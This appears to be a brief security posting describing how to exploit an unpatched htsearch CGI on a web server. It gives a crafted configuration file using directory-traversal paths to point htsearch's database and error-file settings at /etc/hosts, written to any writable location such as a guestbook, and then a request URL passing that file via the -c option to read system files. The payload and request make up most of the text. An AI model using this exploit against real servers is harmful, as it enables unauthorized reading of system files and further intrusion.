    .. if htsearch is not patched and you have write access somewhere on the 
    server (guestbook etc...) you could create entries like:
    
    ---cut here---
    
    nothing_found_file: /etc/hosts
    database_base: ${database_dir}/../../../../../etc/
    word_db: ${database_base}hosts
    doc_index: ${database_base}hosts
    doc_db: ${database_base}hosts
    
    ---cut here---
    
    and then request:
    
    ---cut here---
    
    http://host/htsearch?-c+[filelocation]
    
    ---cut here---
    
    
    
    rc
